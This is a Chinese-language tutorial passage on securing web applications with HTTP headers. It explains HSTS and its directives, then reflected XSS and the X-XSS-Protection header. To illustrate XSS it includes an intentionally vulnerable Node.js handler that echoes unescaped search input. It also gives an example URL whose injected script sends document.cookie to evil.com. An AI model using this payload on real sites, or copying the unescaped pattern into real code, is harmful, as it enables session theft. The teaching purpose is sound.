如何使用 HTTP Headers 来保护你的 Web 应用( 二 )


与 web 应用进行交互时,通过有效的 HTTPS 连接是非常重要的:不安全的连接将会使得用户暴露在各种攻击之下,这可能导致 cookie 被盗甚至更糟 。举个例子,攻击者可以在公共 Wi-Fi 网络下轻易骗取网络帧并提取那些不使用 HTTPS 的用户的会话 cookie 。更糟的情况是,即使用户通过安全连接与 web 应用进行交互也可能遭受降级攻击,这种攻击试图强制将连接降级到不安全的连接,从而使用户受到中间人攻击 。
我们如何帮助用户避免这些攻击,并更好地推行 HTTPS 的使用呢?使用 HTTP 严格传输安全头(HSTS) 。简单来说,HSTS 确保与源主机间的所有通信都使用 HTTPS 。RFC 6797 中说明了,HSTS 可以使 web 应用程序指示浏览器仅允许与源主机之间的 HTTPS 连接,将所有不安全的连接内部重定向到安全连接,并自动将所有不安全的资源请求升级为安全请求 。
HSTS 的指令如下:

  • max-age=<number of seconds>
此项指示浏览器对此域缓存此响应头指定的秒数 。这样可以保证长时间的加固安全 。
  • includeSubDomains
此项指示浏览器对当前域的所有子域应用 HSTS,这可以用于所有当前和未来可能的子域 。
  • preload
这是一个强大的指令,强制浏览器始终安全加载你的 web 应用程序,即使是第一次收到响应之前加载!这是通过将启用 HSTS 预加载域的列表硬编码到浏览器的代码中实现的 。要启用预加载功能,你需要在 Google Chrome 团队维护的网站 HSTS 预加载列表提交注册你的域 。
注意谨慎使用 preload,因为这意味着它不能轻易撤销,并可能更新延迟数个月 。虽然预加载肯定会加强应用程序的安全性,但也意味着你需要充分确信你的应用程序仅支持 HTTPS!
我建议的用法是 Strict-Transport-Security: max-age=31536000; includeSubDomains;,这样指示了浏览器强制通过 HTTPS 连接到源主机并且有效期为一年 。如果你对你的 app 仅处理 HTTPS 很有信心,我也推荐加上 preload 指令,当然别忘记去前面提到的预加载列表注册你的网站 。
以下是在 Nodes.js 中实现 HSTS 的方法:
function requestHandler(req, res){res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload');}复制代码启用 XSS 过滤在反射型跨站脚本攻击(reflected XSS)中,攻击者将恶意 JAVAScript 代码注入到 HTTP 请求,注入的代码「映射」到响应中,并由浏览器执行,从而使恶意代码在可信任的上下文中执行,访问诸如会话 cookie 中的潜在机密信息 。不幸的是,XSS 是一个很常见的网络应用攻击,且令人惊讶地有效!
为了了解反射型 XSS 攻击,参考以下 Node.js 代码,渲染 mywebapp.com,模拟一个简单的 web 应用程序,它将搜索结果以及用户请求的搜索关键词一起呈现:
function handleRequest(req, res) {res.writeHead(200);// Get the search termconst parsedUrl = require('url').parse(req.url);const searchTerm = decodeURI(parsedUrl.query);const resultSet = search(searchTerm);// Render the documentres.end("<html>" +"<body>" +"<p>You searched for: " + searchTerm + "</p>" +// Search results rendering goes here…"</body>" +"</html>");};复制代码现在,来考虑一下上面的 web 应用程序会如何处理在 URL 中嵌入的恶意可执行代码,例如:
https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>复制代码你可能意识到了,这个 URL 会让浏览器执行注入的脚本,并发送极有可能包含机密会话的用户 cookies 到 evil.com 。
为了保护用户抵抗反射型 XSS 攻击,有些浏览器实施了保护机制 。这些保护机制尝试通过在 HTTP 请求和响应中寻找匹配的代码模式来辨识这些攻击 。Internet Explorer 是第一个推出这种机制的,在 2008 年的 IE 8 中引入了 XSS 过滤器的机制,而 WebKit 后来推出了 XSS 审计,现今在 Chrome 和 Safari 上可用(Firefox 没有内置类似的机制,但是用户可以使用插件来获得此功能) 。这些保护机制并不完美,它们可能无法检测到真正的 XSS 攻击(漏报),在其他情况可能会阻止合法代码(误判) 。由于后一种情况的出现,浏览器允许用户可设置禁用 XSS 过滤功能 。不幸的是,这通常是一个全局设置,这会完全关闭所有浏览器加载的 web 应用程序的安全功能 。
幸运的是,有方法可以让 web 应用覆盖此配置,并确保浏览器加载的 web 应用已打开 XSS 过滤器 。即通过设定 X-XSS-Protection 响应头实现 。此响应头支持 Internet Explorer(IE8 以上)、Edge、Chrome 和 Safari,指示浏览器打开或关闭内置的保护机制,及覆盖浏览器的本地配置 。


推荐阅读